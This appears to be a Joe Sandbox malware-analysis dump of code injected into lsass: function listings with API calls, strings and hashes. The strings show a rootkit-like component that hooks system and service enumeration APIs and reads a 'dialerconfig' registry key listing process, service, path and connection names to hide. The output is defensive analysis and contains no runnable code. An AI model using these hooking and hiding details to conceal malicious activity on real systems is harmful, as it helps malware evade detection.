StrCmpNIW.SHLWAPI ref: 00000140AE861A7A
lstrlenW.KERNEL32 ref: 00000140AE861A89
StrCpyW.SHLWAPI ref: 00000140AE861A9E

Strings

\\?\, xrefs: 00000140AE861A6E

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: c3158435ef4687b1766e3257663a9035ab9b0d40d8f3ba1c44d0f0f8ec37f8a1
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 7DF03C3274474192EB618B22E9847996760F74CBE9FA44020DF4D47979DE3DCA8DCB41

Function 00000140AE86328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000140AE8632AE
PathFindFileNameW.SHLWAPI ref: 00000140AE8632BD

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

Part of subcall function 00000140AE863790: GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE863809
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

CreateThread.KERNEL32 ref: 00000140AE86330B

Part of subcall function 00000140AE861D14: GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 3ba806e3e51b1b0dcb359024cf54f050519727a8cf8c5b8b8f5a43b5e8428739
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: BA115E30A9478082F7639B23B9153D922D4B79C765FB041249F4E875B1EF78C844C2C2

Function 00000140AE861ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000140AE861628: GetProcessHeap.KERNEL32 ref: 00000140AE861633
Part of subcall function 00000140AE861628: HeapAlloc.KERNEL32 ref: 00000140AE861642
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861734
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86176F
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA

Sleep.KERNEL32 ref: 00000140AE861AD7
SleepEx.KERNEL32 ref: 00000140AE861ADD

Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861820
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86185B
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861896
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 326f40d2db6ff263f8e0a940b391fb73a78b65f37836ebd93bce5d4d1fbe3847
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2631CC7128074181FF529B27DA513E963A5AB8CBE4F2858219F1E877B7EF34CC51C292

Function 00000140ADFC273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000140ADFC285E

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 06fb5e1ef4416040f010e1a7d6ba73e71e6e03eebacef6a42692c0d9d5c867cd
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 10610732B2179887DB65CF1690407AE7393FB58B98F688121DF5907BD4DA38D863E700

Non-executed Functions

Function 00000140AE862B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000140AE862BD0
lstrlenW.KERNEL32 ref: 00000140AE862E0A

Part of subcall function 00000140AE86199C: OpenProcess.KERNEL32 ref: 00000140AE8619C2
Part of subcall function 00000140AE86199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
Part of subcall function 00000140AE86199C: PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
Part of subcall function 00000140AE86199C: lstrlenW.KERNEL32 ref: 00000140AE8619FB
Part of subcall function 00000140AE86199C: StrCpyW.SHLWAPI ref: 00000140AE861A0E
Part of subcall function 00000140AE86199C: CloseHandle.KERNEL32 ref: 00000140AE861A1C

GetProcAddress.KERNEL32 ref: 00000140AE862BE5

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

StrCmpNIW.SHLWAPI ref: 00000140AE862C28
lstrlenW.KERNEL32 ref: 00000140AE862D50

Strings

ntdll.dll, xrefs: 00000140AE862BC9
NtQueryObject, xrefs: 00000140AE862BDB
\Device\Nsi, xrefs: 00000140AE862C1B

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: bf2ef32ac57e5f465ce725a7a74baab9ea04f71ed1d086599ba6561ce8fa9f42
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 2AB19E72250B5486EB668F2BD4407E9A3A5FB48BA4F645066EF4D53BB5DF34CC40C382

Function 00000140AE867D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000140AE867DAC
RtlCaptureContext.NTDLL ref: 00000140AE867DD9
RtlLookupFunctionEntry.NTDLL ref: 00000140AE867DF3
RtlVirtualUnwind.NTDLL ref: 00000140AE867E34
IsDebuggerPresent.KERNEL32 ref: 00000140AE867E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EB4

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 1503c4d1f0e9a2face0525283fdd9087e61cbfeab21d2c89dc1035b309a16709
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 2131A372245B808AEB618F61E8407ED7361F788754F64442ADF4D47BA8EF38C948C790

Function 00000140AE86D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000140AE86D31D
RtlLookupFunctionEntry.NTDLL ref: 00000140AE86D335
RtlVirtualUnwind.NTDLL ref: 00000140AE86D370
IsDebuggerPresent.KERNEL32 ref: 00000140AE86D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3BE

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: f4b3617ef55b8c279f228a1357564ad9138b4f9cc27f1e8a361b5862f6d2fb0c
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 9C314E32654B8086EB619F26E8403DE73A4F789764F600125EF9D47BB8EF38C945CB81

Function 00000140AE861628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861633
HeapAlloc.KERNEL32 ref: 00000140AE861642

Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE86126E
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE86127D
Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE861297
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE8612A8

RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
RegCloseKey.ADVAPI32 ref: 00000140AE861734
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
RegCloseKey.ADVAPI32 ref: 00000140AE86176F
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA
RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
RegCloseKey.ADVAPI32 ref: 00000140AE861820
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
RegCloseKey.ADVAPI32 ref: 00000140AE86185B
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
RegCloseKey.ADVAPI32 ref: 00000140AE861896
RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Part of subcall function 00000140AE8612BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE861327
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE861338
Part of subcall function 00000140AE8612BC: RegEnumValueW.ADVAPI32 ref: 00000140AE861397
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE8613ED
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86140A
Part of subcall function 00000140AE8612BC: HeapFree.KERNEL32 ref: 00000140AE861418
Part of subcall function 00000140AE8612BC: lstrlenW.KERNEL32 ref: 00000140AE861421
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86142F
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE86143D

Strings

udp, xrefs: 00000140AE861874
paths, xrefs: 00000140AE861788
tcp_remote, xrefs: 00000140AE861839
tcp_local, xrefs: 00000140AE8617FE
SOFTWARE\dialerconfig, xrefs: 00000140AE861692
process_names, xrefs: 00000140AE86174D
pid, xrefs: 00000140AE861712
service_names, xrefs: 00000140AE8617C3
startup, xrefs: 00000140AE8616D5

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 4cb465b735a6020238bf1ea048d5c89955278629e63a0cab2664c088472f563d
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 5771E736750B10C6EB129F66E8906D933A5FB89BA8F201121DF4E97B79DF38C844C781

Function 00000140AE8612BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
GetProcessHeap.KERNEL32 ref: 00000140AE861327
HeapAlloc.KERNEL32 ref: 00000140AE861338
RegEnumValueW.ADVAPI32 ref: 00000140AE861397

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
HeapAlloc.KERNEL32 ref: 00000140AE8613ED
GetProcessHeap.KERNEL32 ref: 00000140AE86140A
HeapFree.KERNEL32 ref: 00000140AE861418
lstrlenW.KERNEL32 ref: 00000140AE861421
GetProcessHeap.KERNEL32 ref: 00000140AE86142F
HeapAlloc.KERNEL32 ref: 00000140AE86143D
StrCpyW.SHLWAPI ref: 00000140AE86145F
GetProcessHeap.KERNEL32 ref: 00000140AE861476
HeapFree.KERNEL32 ref: 00000140AE861484

Strings

d, xrefs: 00000140AE86135A

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eaf29793312f880262aa33c4d225e9377ef8ac7c3781aeeffa93a87445d713dc
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: B5516C32640B8486EB56CF62E54839AB7A1F78DBA9F244124DF4D07B29DF3CC445C791

Function 00000140AE861D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Part of subcall function 00000140AE861FD4: GetModuleHandleA.KERNEL32 ref: 00000140AE861FEC
Part of subcall function 00000140AE861FD4: GetProcAddress.KERNEL32 ref: 00000140AE861FFD

Part of subcall function 00000140AE865B30: GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B

Strings

NtEnumerateValueKey, xrefs: 00000140AE861DD6
EnumServiceGroupW, xrefs: 00000140AE861DF0
EnumServicesStatusExW, xrefs: 00000140AE861E11, 00000140AE861E32
NtDeviceIoControlFile, xrefs: 00000140AE861E56
NtQueryDirectoryFile, xrefs: 00000140AE861D7F
NtQueryDirectoryFileEx, xrefs: 00000140AE861D9C
sechost.dll, xrefs: 00000140AE861E39
NtQuerySystemInformation, xrefs: 00000140AE861D45
advapi32.dll, xrefs: 00000140AE861DF7, 00000140AE861E18
ntdll.dll, xrefs: 00000140AE861D2D
NtResumeThread, xrefs: 00000140AE861D62
NtEnumerateKey, xrefs: 00000140AE861DB9

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 2267be31c3c8b37de2fa04f2787d19f37c5545ab8d6e24567a23a1f44e334d39
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 3531A574580B4AA0EA07EB6BE8516E47321BB5D3B4FF05413AE0D131B69F788E49C3D2

Function 00000140ADFC6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140ADFC6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000140ADFC698A
_RTC_Initialize.LIBCMT ref: 00000140ADFC69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140ADFC69DE
__scrt_release_startup_lock.LIBCMT ref: 00000140ADFC6A09

Strings

`eh vector copy constructor iterator', xrefs: 00000140ADFC6A3B
`dynamic initializer for ', xrefs: 00000140ADFC69C7
scriptor', xrefs: 00000140ADFC6B39, 00000140ADFC6BB2, 00000140ADFC6BEC
`eh vector vbase copy constructor iterator', xrefs: 00000140ADFC69EE

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 79a856343edf9d6588f3d0cd2b4f253cfe509a1624521d714eea0eda72951458
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: FC81E23162834987F656AB6798403DB72A3EF8D784F3440259B69477B6DB38C867B300

Function 00000140AE86CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000140AE86CE37
FlsGetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE4C
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE6D
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE9A
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEAB
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEBC
SetLastError.KERNEL32 ref: 00000140AE86CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000140AE86ECCC,?,?,?,?,00000140AE86BF9F,?,?,?,?,?,00000140AE867AB0), ref: 00000140AE86CF2C

Part of subcall function 00000140AE86D6CC: HeapAlloc.KERNEL32 ref: 00000140AE86D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF54

Part of subcall function 00000140AE86D744: HeapFree.KERNEL32 ref: 00000140AE86D75A
Part of subcall function 00000140AE86D744: GetLastError.KERNEL32 ref: 00000140AE86D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF76

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: b2b40885048b18a77dd749f130d094d7928ae544b3603784d23cb63539606b23
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 0941183028174441FA6BAB6799553E922926B5C7B0F744B24AF3E4B6F6DE789C01C2C3

Function 00000140AE862244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000140AE862259
GetCurrentProcessId.KERNEL32 ref: 00000140AE862263

Part of subcall function 00000140AE861934: OpenProcess.KERNEL32 ref: 00000140AE861952
Part of subcall function 00000140AE861934: IsWow64Process.KERNEL32 ref: 00000140AE861968
Part of subcall function 00000140AE861934: CloseHandle.KERNEL32 ref: 00000140AE861983

CreateFileW.KERNEL32 ref: 00000140AE8622BC
WriteFile.KERNEL32 ref: 00000140AE8622E4
ReadFile.KERNEL32 ref: 00000140AE862303
CloseHandle.KERNEL32 ref: 00000140AE86230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000140AE862293
\\.\pipe\dialerchildproc64, xrefs: 00000140AE86228C

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: d526e0782f541ea269add2dfc30b9375b8e19e2713657146a865421fd34f2e67
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: FB213936654B40C2EB11CB26E54839A77A1F789BA4F600215EF5D03BB8CF3CC949CB41

Function 00000140ADFC9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140ADFC99A1

Part of subcall function 00000140ADFCA814: __GetUnwindTryBlock.LIBCMT ref: 00000140ADFCA857
Part of subcall function 00000140ADFCA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140ADFCA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140ADFC9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140ADFC9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140ADFC9DDA

Strings

csm, xrefs: 00000140ADFC9A9C
csm, xrefs: 00000140ADFC9A22
csm, xrefs: 00000140ADFC99BB

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 610288a21bba7234f961b83c38f566fdeb512e40ac2c0f228fa86b943482e177
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 21E1AE726247488BEB62DB26D4803DE37B3FB49B89F200115EF8957BA5DB34C1A2D700

Function 00000140AE86A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140AE86A5A1

Part of subcall function 00000140AE86B414: __GetUnwindTryBlock.LIBCMT ref: 00000140AE86B457
Part of subcall function 00000140AE86B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140AE86B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140AE86A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140AE86A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140AE86A9DA

Strings

csm, xrefs: 00000140AE86A622
csm, xrefs: 00000140AE86A5BB
csm, xrefs: 00000140AE86A69C

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 7b4ba636362c0b5caa681dd8b7c7e919a21c7b74d1dcc59cd2284cb1c0ce2a62
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 80E1B5726447408AEB62DF66D4803DD77A0F74DBA8F200156EF9D57BA9CB38C881D782

